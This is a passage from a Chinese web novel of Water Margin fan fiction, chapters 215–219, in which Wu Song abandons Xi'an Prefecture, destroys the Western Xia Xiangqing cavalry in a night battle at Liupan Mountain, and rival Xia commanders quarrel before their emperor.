种师道兄弟两个又无语了...
每次大战来临时,张吉都觉得对方是来送功劳的。
岂不知战场胜负难料,万一败了,莫说功劳,便是性命也难保!
决定了战术,武松当即吩咐道:
“戴院长,劳烦你监视翔庆军,看他到了何处。”
“只待他过了西安州二十里,你便来回报。”
戴宗当即起身走了。
武松又对时迁说道:
“时迁贤弟,我等离开西安州后,阿惠必定倾巢而出。”
“到那时,他们营寨必定空虚,你将他们营寨一把火烧了。”
时迁起身拱手道:
“得令!”
时迁当即往北面走了。
“诸位,带着所部兵马准备出城追杀。”
“卢师兄、杨将军,你们二人统领马军,与我先走。”
“鲁师兄、徐教师,你们带领步军随后跟来。”
“徐教师的钩镰枪班,莫要慢了。”
徐宁起身拜道:
“末将领命!”
武松又问凌振:
“凌将军,你的霹雳营,还
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有多少火器可用?”
“不多了,守城之时耗费太多。”
“不论多少,全部带了,跟随徐教师钩镰枪班。”
“得令!”
武松又对种师道、种师中说道:
“两位相公,此战非同小可,还请督促部将努力向前。”
“何须吩咐。”
两位老将自然不会保存实力。
武松又对赵楷说道:
“王爷,你和张总管随后慢来。”
张吉虽然是马军都总管,但他武艺平常,冲锋陷阵非他所长。
赵楷更是书生一个,没有甚么武艺可言。
“好。”
赵楷、张吉都不扭捏,当即答应。
这时,何运贞问道:
“二郎,城内还有不少俘虏,如何处置?”
大军调动的时候,俘虏如果跟着走,很容易半路逃跑。
可如果不带走,那就只剩下两个选项:
全部杀掉!
全部放掉!
“押解到怀德军营寨去。”
武松说出了自己的选择。
种师道担忧道:
“此时分兵押解俘虏,是否...不合适?”
“我来安排,你们且去。”
众人马上去准备,城内所有兵马调动。
武松带着扈三娘到了营地,白石子一行人正在操练。
见武松进来,众人马上停下。
“翔庆军突袭渭州城,我要马上统领全城兵马截杀重贵。”
“城内还有两万多俘虏,我将派兵马押解到怀德军营寨。”
“你们三个配合厢军,将他们押解过去。”
白石子三人听了,感觉有点懵...
让他们配合押解俘虏?
不怕他们反水?
“我晓得你们心思,我武松用人不疑!”
白石子说道:
“宣抚大人,我等愿意跟随作战。”
“无须,你们将俘虏押解到怀德军营寨,就是大功。”
武松这样说了,白石子不好再说。
让他们押解俘虏,这也是极大的信任。
“你们随我来。”
武松带着三百人出了营地,所有人把银子带在身上。
到了俘虏营,武松点了一万厢军,立即打开南城门,让他们先一步往怀德军营寨进发。
当然,武松不让他们知道情况,只说西安州大战在即,城内地方不够。
押解俘虏的主将,武松点了施恩。
他在孟州牢城营做过管营,知道怎么对付这些人。
施恩往东走,特意避开大军,免得和西夏兵马相遇。
俘虏走后,武松在城内等候戴宗的消息。
第215章 武松出动,各怀鬼胎
武松站在城墙上,看着城内大军调动。
扈三娘走过来,担忧道:
“二郎,让白石子他们押解俘虏,会不会出事?”
“我需要一支绝对忠诚的西夏骑兵,如果他们叛逃,那就随他们去。”
“让西夏的骑兵忠诚...可行么?”
扈三娘觉得这个好难。
大宋和西夏敌对上百年了,两个敌国,怎么可能对武松忠诚?
“是很难,不打紧,慢慢来。”
西安州内大军集结的时候,北面西夏营寨内,献王阿惠正派斥候监视西安州的举动。
探马回到寨内,对着阿惠禀报:
“王爷,西安州的俘虏正在转移,似乎往怀德军营寨去。”
阿惠听了,眼珠子转了转,冷笑道:
“可笑,武松这厮妄图以俘虏为诱饵,引我攻打怀德军营寨,可笑!”
武松的本意只是转移俘虏,阿惠却认为武松在诱敌。
祥佑军司监军使万保想了想,说道:
“我猜测...武松并非引诱王爷进攻,而是妄图引诱翔庆军进攻怀德军营寨,以解渭州之困。”
阿惠冷笑道:
“哼,本王不管他有何诡计,我只要武松人头。”
“再探、再报!”
探马匆匆离开,再去打探情报。
西安州。
戴宗飞奔回到城内,说重贵的翔庆军已经过去,已经走了二十里。
武松传令,兵马分别从东西南三座城门出发。
武松披挂上马,扈三娘、李二宝跟随。
到了南门,卢俊义、杨志统领三万骑兵等候。
“出发!”
武松带着骑兵在前面。
鲁智深、徐宁、曹正带着七万步兵随后。
这十万兵马,是大宋的禁军,是最精锐的部队。
后面还有七万厢军,由种师道、种师中统领,紧紧跟在大军后面。
赵楷、张吉、何运贞、欧阳雄一帮人跟随种师道。
凌振的霹雳营需要马车,所以速度最慢。
武松带着骑兵跑在最前面,速度不紧不慢,远远跟着翔庆军。
北面西夏营寨。
探马匆匆回到中军大帐,焦急禀道:
“王爷,武松放弃了西安州,大军全部南下了。”
“你说甚?”
阿惠惊讶地起身,以为自己听错了。
其他人也以为听错了。
“宋国所有兵马离开西安州,全部南下了,城内空了。”
西安州本就是一座军镇,普通百姓极少。
大军离开后,就是一座空城。
“莫非有诈?”
阿惠心中狐疑,祥佑军司监军使万保也说道:
“武松居然弃了西安州...他要全力追杀翔庆军!”
万保马上看出了关键,说道:
“王爷,重贵只怕危矣!”
任多洗忠、布雅互相对视一眼,心中有种似曾相识的感觉。
阿惠喃喃自语道:
“放弃城池,追杀重贵...莫非有诈..”
想了会儿,阿惠说道:
“武松这厮狡诈,再去西安州探查,速去速回速报!”
“是!”
探马匆匆又去,阿惠在军帐中焦急等候。
过了会儿,探马回来了,情况和刚才一样,武松确实放弃了西安州。
此时的西安州已经是一座空城!
阿惠大喜道:
“这厮担忧渭州城陷落,倾巢而动!”
“好极,传令,全军出动,攻占西安州!”
阿惠心中欢喜。
攻占西安州,就可以给皇帝李乾顺一个交代,不是寸功未立。
祥佑军司监军使万保还在想武松的真实意图,阿惠已经下令全军开拔。
没奈何,万保只能下令大军跟随往南。
阿惠很谨慎,接近西安州三里的时候,又派出探马侦查。
确定西安州没有兵马,这才大军冲入城内。
里面空空如也,只有一些来不及走的小老百姓。
阿惠抓了几个,问了才知道,武松带着大军离去,能带走的都带走了。
阿惠喜道:
“这厮真的去追重贵了,万保将军真是妙计!”
原本强攻不下的西安州,如今唾手已得。
而让翔庆军突袭渭州,以此引诱武松出城的计策,出自万保。
所以,阿惠对万保赞赏有加。
此时的万保却没有高兴的样子,说道:
“王爷,武松倾巢出动,必要截杀翔庆军!”
“重贵将军虽有七万精锐铁鹞子,但武松善战,他以二十万兵马拦截,重贵将军危矣!”
高兴的劲头过去,阿惠也开始琢磨了。
“不错...武松这厮倾巢而走,定是要截杀
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重贵..”
“你们以为当如何?”
阿惠问其他人。
任多洗忠、布雅没有说话,万保说道:
“我们应当全军出动,追杀武松!”
“重贵在南,王爷在北,翔庆军乃是精锐,必能拦住武松,我等于阵后猛攻,武松必死!”
嘉宁军司监军使玉丑附和道:
“不错,此计可行!”
阿惠心中暗暗计较:
追杀武松,万一对方埋伏...我岂不和那察哥一般?
我若在此候着,让武松与重贵拼杀,重贵若胜了,我再出兵不迟。
若是重贵败了,武松也必定惨胜,到那时,我再出兵,杀武松易如反掌。
如此,无论胜败,都是我赢!
打好了如意算盘,阿惠说道:
“武松那厮最擅埋伏,我若轻易追杀,他于半路设伏,我等危矣。”
“为稳妥计,不如暂守西安州,待重贵破了渭州城,我等再出兵。”
“到那时,重贵镇守渭州城,本王南下,必能杀武松!”
听了这话,万保已经猜透了阿惠的心思,说道:
“王爷,翔庆军乃是精锐,若是武松破了翔庆军,我军心必乱!”
“胡说,翔庆军来去如风,若要走时,岂能拦住。”
万保还要再说,阿惠下令接管西安州城池,再派出探马打探情报。
北面西夏营寨。
阿惠带着全军离开营寨,里面只剩下一些无足轻重的东西。
时迁大摇大摆进了营地,把所剩无几的东西点了。
“这些许东西,哥哥让我烧营,杀鸡用牛刀。”
点燃后,时迁大摇大摆往南走。
南边六盘山。
重贵带着翔庆军往南奔袭,速度不是很快。
此行,重贵的意图是调动武松出城,然后伺机与武松决战。
以优势骑兵,破武松的步兵。
只要武松离开西安州,他就可以回兵,与阿惠一同夹击武松。
身后几匹马匆匆跑过来,追上重贵,喊道:
“监军使,武松来了,就在身后三十里处,都是马军,三万左右。”
重贵大喜道:
“这厮果然不敢放弃渭州城!”
“传令,所有兵马就地列阵,准备决战!”
将令传达,七万翔庆军就地列阵,等着武松抵达。
第216章 六盘山下,夜战突袭
武松带着三万骑兵不紧不慢跟在翔庆军后面。
戴宗在前方探路,随时回报情况。
戴宗的神行术在战场真的太好用了,几十里路程来回极快。
行进到六盘山附近时,戴宗跑回来,说翔庆军停下了,正等着武松。
武松立即下令全军停下,等待后面步军会合。
“劳烦你再去一趟西安州,看看情况。”
戴宗不休息,马上又往北面跑。
戴宗走后,武松又派出候骑往南探查,盯着翔庆军的一举一动。
南面。
重贵派出的候骑也侦测到了武松的情报。
得知武松停下来的时候,重贵喜道:
“这厮怕我,如此便好!”
眼看太阳西斜,马上就要天黑,重贵传令七万翔庆军往北进攻。
隆隆的马蹄声往北,探马得知后,立即回报武松。
卢俊义说道:
“我军只有三万,敌众我寡。”
“且翔庆军精于马战,我等只怕不是敌手。
同样是骑兵,西夏的骑兵比大宋的骑兵更厉害,这点毋庸置疑。
再加上翔庆军有七万,武松只有三万骑兵,数量相差太大了。
“退!”
武松下令后撤。
三万兵马缓缓后退。
重贵追过来时,却发现武松后退了。
副将李义说道:
“将军,莫非有诈?”
重贵也怀疑武松在诱敌。
往北有一处山谷,适合埋伏。
如果继续追赶,武松在山谷设伏,那么吃亏的就是重贵。
太阳已经落山,黑夜即将到来。
重贵说道:
“就地扎营,不追他。”
副将李义说道:
“不如星夜兼程,袭取渭州城。”
“天色已晚,武松又在身后,不宜夜袭。”
副将李义心中担忧道:
“不知献王他们有没有攻破西安州。”
“武松已经出来,献王必定攻城了。”
对于这一点,重贵很自信。
理由很简单,零波山的粮草被烧了,这是大罪。
阿惠必须立功,才能将功抵过。
西安州必须攻下!
“你传令全军,就地扎营,派出斥候探察,小心夜袭。”
重贵吩咐,副将李义马上传令全军。
翔庆军就在六盘山前面列阵,后面是山,前面是空地。
如果武松夜袭,他们也可以保证不会腹背受敌。
翔庆军停下来驻扎的时候,鲁智深、徐宁统领的步兵随后抵达,与武松会合。
此时天已经黑了。
鲁智深、徐宁找到武松,几个人坐下来商议。
探马回报,说翔庆军在六盘山北面扎营。
鲁智深听了,就要带领兵马厮杀。
杨志扯住鲁智深,让他不要冲动,听武松的计策。
武松把当初在六盘山打过仗的将官找来,详细问六盘山的情况。
得知重贵在六盘山下扎营,将官说道:
“六盘山前方是平地,利于马军冲锋。”
“不过,六盘山四面低矮,都可以上山。”
“若是重贵只在北面扎营,则我军可以从南面上山,再居高临下,从后方冲击敌阵。”
卢俊义听了,说道:
“此计甚好,夜间利于步战,不利马战。”
“我等于阵前进攻,再派兵从南边上山。”
“前后夹击,可破翔庆军!”
武松点头道:
“不错,正是这个道理。”
“鲁师兄,你与杨将军统领两万步兵,绕道六盘山后。”
“我与卢师兄、徐教师在北面夜袭。”
鲁智深喜道:
“好,洒家这便去点兵!”
杨志起身和鲁智深点了两万步兵,立即绕道六盘山后面。
曹正担忧道:
“二郎,重贵是大将,必有防范。”
“鲁师兄他们绕道后山,恐被发觉。”
武松说道:
“我只需在北面进攻,他必定无暇后顾,鲁师兄便可上山。”
正说着,种师道、种师中带领的八万厢军也随后赶到了。
得知翔庆军在六盘山扎营,种师中也提议绕道后山,再前后夹击。
计策都一样,武松不再犹豫,开始点兵。
晚上不利于骑兵作战,所以武松点了五万步兵在前,八万厢军在后。
武松亲自做先锋,卢俊义、徐宁为副将,扈三娘、李二宝跟随,燕青跟着卢俊义。
种师道、种师中两人各自统领兵马,随后进攻六盘山。
调拨完毕,武松披挂铠甲,扈三娘、李二宝跟随。
卢俊义和徐宁两个都穿了铠甲,徐宁把雁翎金甲穿好,燕青跟在卢俊义身后。
晚上野战,骑马反而不方便,所以都不骑马。
天上一轮明晃晃的月亮,照得天地一片白,好似白日里一般。
武松提着两口刀,带着五万步卒往前进发。
翔庆军的斥候很快发现,慌忙回
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报。
重贵听闻武松夜袭,冷笑道:
“区区三万马军,也想夜袭,倒是好笑!”
“击鼓,我便与他厮杀!”
战鼓声敲响,副将李义和手下指挥使各自统兵出战。
裹着铁甲的战马在前面列阵,共有五排,有数千人。
翔庆军都是马军,但铁甲连环马只有五千多人,并非所有都是重甲骑兵。
翔庆军的战术,前方的铁甲连环马冲锋,把士兵撞倒踩踏,等对方阵形乱了,后面骑兵再迂回收割。
重贵因为右臂还没有好,不敢和武松对阵,只在六盘山上俯瞰战场。
铁甲马阵形列好,借着月色,只见北面乌压压一片步军袭来。
重贵心里咯噔一下,暗道不妙:
莫非武松倾巢而来?
那西安州...武松放弃了西安州?
不好,这厮想要围杀我!
一股寒意直冲天灵盖,重贵瞬间想明白了。
武松出动的根本不是三万骑兵,而是二十万大军全部出动了。
如今又是晚上,骑兵的优势无法发挥。
自己可能...会死!
副将李义见杀来的是宋国步军,心中也很诧异。
为何是步军?
不及多想,武松已经统领钩镰枪班冲锋。
徐宁教授的钩镰枪班,三人一个小队,一个手持盾牌抵挡骑兵的刺杀,一个用钩镰枪钩砍马腿,一个手持**捅刺骑兵。
三个人相互配合,针对一个重甲骑兵。
钩镰枪班冲在最前面,翔庆军的重甲连环马开始跑动,武松提着两口刀快速往前冲。
步兵对骑兵,最怕骑兵跑起来。
一旦骑兵冲锋,步兵根本无法抵挡。
很快,铁甲连环马冲到身前,武松就地一滚,斩断两匹马的腿脚,战马嘶鸣倒地,骑兵跟着栽倒。
扈三娘、李二宝跟着武松杀入敌阵,专砍马腿。
重甲骑兵全身覆盖重甲,士兵和战马都有铠甲。
唯一薄弱之处,就在马腿。
武松杀入的时候,钩镰枪班也冲到了。
重甲骑兵冲撞,盾牌挡不住冲击,瞬间倒地,宋军被马蹄踩踏,西夏骑兵举起**刺杀,最前面一排的钩镰枪班被撞倒大半。
后面的钩镰枪班迅速顶上,盾牌挡住骑兵的刺杀,钩镰枪狠狠勾住马腿,**兵反击捅刺。
重甲骑兵的冲锋被拦住,后面的骑兵刚刚跑起来,发现前方挡住了,无法继续冲锋。
第217章 惨烈厮杀,破翔庆军
重贵在山上看着,发现重甲骑兵被拦住的时候,马上下令敲鼓。
鼓点响起,翔庆军都指挥使开始带着骑兵从两侧冲出,从两侧迂回射杀宋军。
徐宁手持金枪,仗着雁翎金甲防护,独自往前冲杀。
到了战场上,战斗开始后,将令几乎无法再传达,只凭将士的斗志。
徐宁也不再多说,提着金枪往前冲杀。
钩镰枪班挡住重甲骑兵,马腿被斩断,骑兵**,盾牌死死顶住,后面的**兵拔出割喉。
战斗打得非常惨烈,翔庆军和禁军伤亡都很大。
武松提着双刀往前冲,把重甲骑兵杀透,又返回再杀一遍。
钩镰枪班和重甲骑兵惨烈厮杀的时候,种师道、种师中指挥厢军随后掩杀。
杨可世、杨惟中带着步军从两侧掩杀,防止被西夏骑兵包围。
两人都是延安府的骁将,知道西夏骑兵的战术。
渭州府副将**带领禁军增援钩镰枪班,不断地往前冲杀。
骑兵的路被堵死,晚上虽有月光,却不如白昼明亮,骑兵许多自己跑着跑着摔下来。
二十多万兵马在六盘山下激烈厮杀,声音震动旷野。
重贵在山上看着,心中翻滚:
武松倾巢而动,那西安州肯定放弃了。
此时献王应该已经占据西安州...为何不来增援我?
他应该知晓,武松此来必是为了截杀我,他为何不来?
他要坐观成败?
重贵胡思乱想的时候,武松又从铁甲骑兵阵后杀回到阵前。
一个骑兵重来,武松俯身挥刀,狠狠斩在马腿上。
战马发出哀鸣,轰然撞倒在地上,马腿却没有斩断。
武松拿起雁翎刀看了,才发现两口雁翎刀已经砍得卷刃。
“难怪斩不断马腿。”
武松将两口刀丢了,捡起一杆**,扎穿骑兵的面门。
扈三娘从后面跟上来,喊道:
“二郎,我的刀口卷了。”
“我也是,已把刀丢了。”
扈三娘无奈,只能把日月双刀收起,捡了一杆**厮杀。
李二宝的弓弦拉断,刀口内卷,也换了**厮杀。
卢俊义带着燕青杀回来,见武松用枪,问道:
“师弟的双刀呢?”
“卷刃了,已经弃了。”
“师弟如此英雄,需要趁手的兵器才行。”
“待厮杀完毕再说。”
几人又带着步**身杀入,后面的步兵跟着武松往里冲。
北面大战时,鲁智深、杨志统领的两万步军已经爬上山顶。
看着山下激烈的厮杀,鲁智深大叫道:
“干鸟么!他们厮杀久了,洒家还未曾动手!”
说罢,鲁智深提着禅杖一路飞奔而下。
杨志大喊慢些,鲁智深哪里肯听,气球也似地往下冲锋。
身后步兵见两位主将如此,哪个不往前!
两万步兵呐喊着从山上杀下来,重贵听到喊杀声,慌忙回头,却见一个莽和尚到了。
“不好!”
重贵大惊,鲁智深的武艺虽不如武松恐怖,也是个厉害角色。
他此时右臂骨折未愈,哪里敢和鲁智深交手。
身边亲卫见了,拿起刀枪便去**。
鲁智深大喊一声,手中禅杖早已劈死几个。
杨志随后赶到,手中宝刀锋利,裂开亲卫衣甲,杀得遍地是血。
两万步军冲下来,好似爆发的山洪,山上不多的翔庆军哪里支撑得住,瞬间往山下败逃。
身为亲卫劝重贵撤退,重贵起初还不想走,但见鲁智深疯子一样冲下来,再不走只怕要死在这里。
“阿惠误我!”
重贵大骂,翻身上了战马,趁着乱兵往东逃窜。
山下、山上步军很快会合,翔庆军**穿,来不及逃跑的都**了、或者俘虏投降。
到了后半夜,武松见到了鲁智深。
“洒家今夜才杀得畅快!噫?二郎的刀呢?”
“废了,翔庆军铠甲厚,我那刀口卷刃了。”
“二郎须一口杨志这般的好刀!”
杨志马上说道:
“二郎武艺强似我,这刀送给二郎!”
“哥哥这是甚么话,此刀是哥哥家传宝刀,我须兵器,待回去后,问圣上到宝库寻两口便是。”
鲁智深哈哈笑道:
“二郎说的是,岂能拿你祖传宝刀。”
卢俊义、徐宁带着曹正、燕青到了,种师道、种师中也带着手下将领过来。
战斗基本结束了,打得很惨烈,但总算是赢了。
武松下令打扫战场,死者就地安葬、伤者救治。
俘虏全部绑在一起,战马归集到一处。
等到天亮时分,战场基本打扫完毕。
戴宗从北面回来,说阿惠没有出兵,只是派出斥候侦察。<
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br>赵楷和张吉、何运贞、欧阳雄一众文官过来会合。
张吉站在六盘山上,笑道:
“二郎破了翔庆军,西夏最精锐的马军没了,这是大功一件。”
种师道看着张吉,心中暗道:
这张吉每次都说对了,莫非他有测算胜负的本事?
不管哪次打仗,张吉总说对面是功劳,丝毫不把敌兵放在眼里。
而且,却是每次都赢了!
种师道怀疑张吉是不是有本事预测胜负?
“可惜了,重贵跑了,未能斩杀主将。”
这是武松唯一感到遗憾的地方。
曹正押着一个人过来,笑道:
“二郎,你看我捉了谁!”
众人看时,却是翔庆军副将李义。
见到武松,李义怒骂道:
“狗贼,你偷袭算甚么本领!”
啪!
扈三娘抬手就是一巴掌,骂道:
“败军之将,还敢嚣张!”
李义怒道:
“若要赢我,须白日里与我交战!”
“我翔庆军七万将士,必将你杀个干净!”
武松呵呵冷笑道:
“你也是个将军,为何说这等蠢话!”
“战场之上,赢了便是赢了,输了便是输了。”
“把他绑了,将他送回京师,献给圣上,让天下人知晓,翔庆军没了!”
李义还在骂骂咧咧,曹正挥拳把李义的牙齿打碎,把嘴巴堵住,绑起来押下去。
赵楷问道:
“二郎,是否夺回西安州?”
“刚刚打了一仗,将士需要休整,先回怀德军营寨休整。”
“西安州呢?”
武松笑道:
“若我所料不差,得知我围杀翔庆军,阿惠必然放弃西安州,全军撤回西寿保泰军司。”
种师道微微颔首道:
“翔庆军已破,阿惠必然丧胆,可不战而败之!”
当下,全军缓缓往北,回怀德军营寨。
重贵带着几十匹马,路上又收拢了败兵,带着两百多匹马匆匆往北逃窜。
回到西安州时,已经到了中午。
此时的重贵人困马乏,城上西夏兵见了,慌忙打开城门,放重贵进城。
阿惠听说重贵回来了,慌忙出来厮见。
“重贵将军,你为何这等模样?”
重贵盯着阿惠,双目充血,大骂道:
“你这狗贼,为何坐观成败!”
第218章 震慑西夏,阿惠撤退
“重贵,你这是何意?”
重贵指责,阿惠的脸快速冷下来。
重贵怒骂道:
“我突袭渭州城,本为调动武松出城!”
“那武松倾巢而出,只为杀我,你应当知晓,为何不出兵增援!”
阿惠冷冷说道:
“武松诡计多端,万一于路设伏,我岂非要重蹈察哥覆辙?”
“你...狗贼!”
重贵拔出佩刀,就要杀阿惠。
身边亲卫死死扯住重贵,阿惠的亲卫也冲出来,拔刀相向。
监军使万保走出来劝说,玉丑和布雅几人也过来劝说,把两边拉开了。
“诸位,我翔庆军死没了,先走一步!”
“到了兀卒那里,我必要告阿惠一状!”
说完,重贵带着兵马离开西安州,立即回兴庆府。
见重贵走了要告状,阿惠心里有些慌了。
昨晚上,武松在六盘山**的时候,阿惠派出的斥候已经侦察到了。
阿惠也知道翔庆军被**。
本来,阿惠认为翔庆军是精锐,武松不可能把翔庆军灭掉。
等夜战过去,到了第二天,翔庆军和武松两败俱伤,阿惠再带兵来个渔翁得利。
没想到的是,武松居然把翔庆军围歼在六盘山下,重贵只带着几百人突围。
这个时候,再出兵已经没有意义了。
监军使马颂说道:
“王爷,重贵若到兀卒那里告状,只怕...”
“怕甚么,他重贵刚愎自用,孤军偷袭渭州城,和察哥一样愚蠢,与我何干!”
马颂愣了一下,立即附和道:
“王爷说得对,是重贵自作主张,私自领兵突袭渭州城。”
阿惠看向其他人...
万保、玉丑同时说道:
“不错,王爷说的是,重贵不听劝阻,带领兵马孤军深入,与我等无干。”
如果重贵到皇帝李乾顺那里告状,阿惠跑不掉,他们这些监军使也跑不脱。
阿惠是统军使,所有兵马受他节制。
但其他监军使也有兵马,也可以出兵救援。
可是谁都没有动,眼睁睁看着翔庆军覆没。
见其他人附和,阿惠心里打定主意,死不认账。
翔庆军的覆没和他没有关系,皆因重贵刚愎自用、孤军深入。
就在此时,一队人马进了西安州,到了帅府。
为首是一个太监,阿惠认得,这是李乾顺寝殿里的贴身太监。
“公公请坐。”
“王爷多礼,兀卒有旨意。”
阿惠和其他大臣立刻跪下。
太监从袖子里抽一卷圣旨,说道:
“兀卒有旨,献王阿惠接旨。”
“微臣阿惠接旨。”
阿惠小心举起双手,接了圣旨,然后爬起来。
打开圣旨,阿惠看完后,脸色铁青...
玉丑、万保见阿惠如此,心想一定是粮草被烧的事情激怒了皇帝李乾顺。
其他人都不说话。
看完后,阿惠看了一眼其他人,笑呵呵说道:
“公公里面说话。”
“王爷,咱家还需回去复命。”
“不差这些时候,且到里面说话。”
阿惠请公公进了里屋,其他人退出帅府。
到了外头,万保说道:
“献王坐观成败,罪责是跑不脱的。”
玉丑说道:
“若是阿惠被定罪,我等也难脱干系。”
“我等自然有罪过,但他是统军,他不下令,我等如何动兵?”
“也有道理,随他去吧,我看此战...输了。”
万保叹息道:
“武松那厮据说是个状元出身,不曾想他如此善战,着实奇怪。”
玉丑也叹息道:
“宋国自来重文轻武,他一个状元,居然到边关当将军。”
“不仅如此,还亲自上阵杀敌,与重贵斗将,这厮好生怪哉!”
万保摇头道:
“自古儒将不少见,那诸葛亮、周瑜,都是书生统兵。”
“便如那陈庆之,也是白衣儒将。”
“只是这些人虽然为大将,却不亲自临阵杀敌。”
“你看武松那厮,亲自提刀入阵,犹如一莽夫兵卒,何曾有半点状元模样?”
玉丑苦笑道:
“他若只是宋国的状元,我倒是不怕他了。”
两人往里看了一眼,各自回营去了。
屋子里头。
阿惠拉着太监坐下来,问道:
“公公,兀卒他...还有其他言语么?”
太监低声道:
“王爷,兀卒的吩咐,都在圣旨里。”
“咱家也没有多余的话给王爷了,只是咱家在寝宫里伺候,知道些事情。”
“零波山的粮草烧了,兀卒很生气,王爷好生用兵,切莫败了。”
阿惠听了这话,明白自己已经没有退路了。
杀不了武松,只有自我了断一条路!
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“我知晓了...”
阿惠心情沉重,却还是拿出一箱金银赠送。
太监表面上推辞,阿惠却说道:
“兀卒那里必要问我的,还请公公美言。”
“如此,咱家且收了,多谢王爷馈赠。”
收了金银,公公带着人匆匆离开。
阿惠把监军使马颂叫到里头商议对策。
马颂认为武松和翔庆军刚刚杀过一场,就算武松赢了,也是惨胜。
建议立即挥兵攻打怀德军营寨,一鼓作气杀了武松。
阿惠心中没有胆量,不敢和武松决战。
“他刚刚破了翔庆军,士气正旺,我粮草不济,轻易交战,只怕不利。”
马颂说道:
“王爷不与他决战,那便退守西寿保泰军司。”
“西安州城池狭小,不宜留在此处。”
阿惠又舍不得西安州,因为这是他唯一的战功。
如果让出西安州,皇帝李乾顺那里不好交代。
马颂说道:
“王爷,当断不断、反受其乱,武松那厮诡计多端,万一他包围西安州,而我军粮草断绝,便是死守城池了。”
西夏军队只有两天的存粮,如果被包围,确实只有死路一条。
想到这里,阿惠说道:
“传令,退回西寿保泰军司!”
将令传下,城内二十多万兵马准备撤离。
任多洗忠、布雅听到将令,丝毫不意外。
万保、玉丑也料到阿惠不敢守城。
很快,西夏大军撤出西安州。
不过,走的时候,阿惠也学武松,把西安州内所有房屋烧毁。
怀德军营寨。
武松带着大军进入,施恩出来迎接。
见到不断抬进来的伤兵,施恩知道昨夜战斗惨烈。
受伤的士兵抬进去治疗,翔庆军的俘虏被关起来。
随之而来的还有数万匹战马,都是翔庆军留下来的好马。
军队入营,斥候派出去侦察。
很快,探马回报,说阿惠撤出了西安州。
张吉赞叹道:
“二郎算无遗策,阿惠果然不敢据守西安州。”
“经此一战,灭了翔庆军七万之众,西夏再无精锐!”
种师道感慨道:
“老夫在延安府几十年了,今日灭掉翔庆军,西陲可以安稳至少二十年!”
种师中捋着胡须说道:
“依我看,西夏李乾顺应当派出使者求和了。”
第219章 重贵告状,信使抵达
种师道点头道:
“不错,察哥所部五万、翔庆军七万,西夏精锐几乎都被二郎杀了。”
“西夏再无精锐与我大宋厮杀,李乾顺必定求和,甚至...愿意称臣!”
听着两位老将军的话,赵楷心中暗喜。
如果真把西夏打得投降求和,甚至愿意对徽宗俯首称臣。
那么,凭借这个功劳,他可以更进一步。
太子之位就在眼前!
赵楷看向武松,越看越觉得武松威武帅气。
这辈子最大的幸运就是结识武松。
早知道武松这等英雄,当初就该早早结交才是。
武松笑道:
“我看未必,西夏虽然遭到重创,心气还在。”
“李乾顺可能退守境内,也可能派出使者停战。”
“但若要他俯首称臣,还需一场大战,让他知晓厉害!”
种师道、种师中两人想了想,觉得武松说得对。
李乾顺这人硬得很,让他低头不容易。
不过...再来一场大战,而且是大胜,恐怕也有难度。
察哥**,翔庆军大败,都因为突袭渭州,露出了破绽。
如果西夏大军退缩到西夏境内,大宋主动发起进攻,想要一场大胜,只怕不容易。
但是话又说回来,武松此人屡屡创造奇迹。
或许真的可以!
张吉喜滋滋道:
“往后的往后说,今日灭了翔庆军,如此大捷,速速写捷报送回京师。”
赵楷点头道:
“不错,何参议速速写一封捷报回去。”
何运贞马上起草捷报,给赵楷看过,又给武松过目。
两人看过,盖了宣抚使的印章,星夜派人送回京师。
书信送走,张吉问何时回西安州。
武松说不急,反正阿惠短期内不敢再来。
出去打探消息的斥候又说西安州被焚毁,已经成了一座废弃的城池。
如此一来,就更不着急回去了,大军就在怀德军营寨休整。
凌振过来说霹雳炮用完了,要回渭州城赶制,武松派人送凌振回去。
...
阿惠带着大军匆匆忙忙往北回到西寿保泰军司,翔庆军的应急粮草送到了,解决了大军的吃饭问题。
枢密院的军令也送到阿惠手里。
得知提前开镰割麦,后续有粮草供应,阿惠这才放心。
...
兴庆府。
孙二娘刚刚切了半边羊肉,两手提着回铺子。
就看见数百骑兵入城,样子很是狼狈。
路上行人纷纷停下来议论:
“这不是翔庆军么?”
“那将领是监军使重贵,我大夏第一勇士。”
“怎的这副模样?”
在众人的议论声中,重贵带着数百匹马走过街道,到了皇宫前面。
骑兵留在宫门口,重贵单独进宫。
重贵原是禁军侍卫长,没有人阻拦他。
到了御书房,重贵见到了皇帝李承乾。
“末将重贵,拜见兀卒!”
见重贵这副样子,李承乾感觉天塌了。
“你怎会如此模样?”
重贵跪在地上,用力磕头,哭诉道:
“末将奉命突袭渭州城诱敌,武松倾巢而出,带领二十多万兵马追杀。”
“末将于六盘山下与武松夜战,厮杀到天明,阿惠坐观成败,翔庆军...仅剩数百骑!”
李乾顺感觉两眼一黑...
最精锐的翔庆军,只剩下数百人?
这才出去多久?
七万精锐啊,就这么没了?
“请兀卒治阿惠的罪!”
重贵大声哭诉,李乾顺骂道:
“阿惠无能,丧师辱国,前者刚刚烧了粮草,如今又坐观成败!”
“枉费我给他戴罪立功,着实该死!”
“来人,将阿惠捉了送回来!”
李乾顺暴怒,身边太监马上传旨。
得到消息的中书令李光信、枢密使香都匆匆跑进来规劝。
“兀卒,临阵换帅,兵之大忌。”
“且此事重大,不可偏听一面之词。”
重贵爬起来,怒骂道:
“中书令这是何意,莫非我捏造陷害!”
“将军息怒,事情需要查清楚再说。”
就在此时,传旨的太监回来了。
李乾顺把太监叫过来问情况。
太监见重贵在地上磕头,心中暗道:
我收了献王金银,若不说几句,只怕脸上不好看。
“回兀卒的话,奴才抵达时,献王刚刚攻破西安州。”
“至于翔庆军...各有说法。”
枢密使香都问什么说法?
太监把阿惠那一套说辞搬出来。
重贵听了,勃然大骂道:
“好个阉人,你必是收了阿惠的好处,在这里胡言乱语!”
“当日是阿惠命我佯攻渭州城,引诱武松出战!”
“如何成了是我一意孤行、孤军深入,放**屁!”
中书令李光信呵斥道:
“重贵将军,不可御前失礼!”
重贵大哭道:
“请兀卒为翔
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庆军做主,若非阿惠坐观成败,早已破了宋军!”
李乾顺一时真假难辨,心中不好决断。
枢密使香都提议派出使者到前线彻查,李乾顺答应了,马上派出使者。
中书令李光信认为翔庆军覆没,西夏精锐几乎全没了,此时最好停战求和。
李乾顺心里不乐意,西夏遭受如此惨败,不报仇怎么行!
李光信说君子报仇、十年未晚,建议先撤退,暂且守住边境,等待来日复仇。
枢密使香都也赞同李光信的提议。
李乾顺思来想去咽不下这口气,不同意停战求和。
一面派人彻查阿惠,一面调集兵马增援西寿保泰军司。
至于重贵,李乾顺命他就在宫里住下疗伤。
孙二娘提着半片羊肉回到铺子,张青问道:
“怎的去了半日不回?”
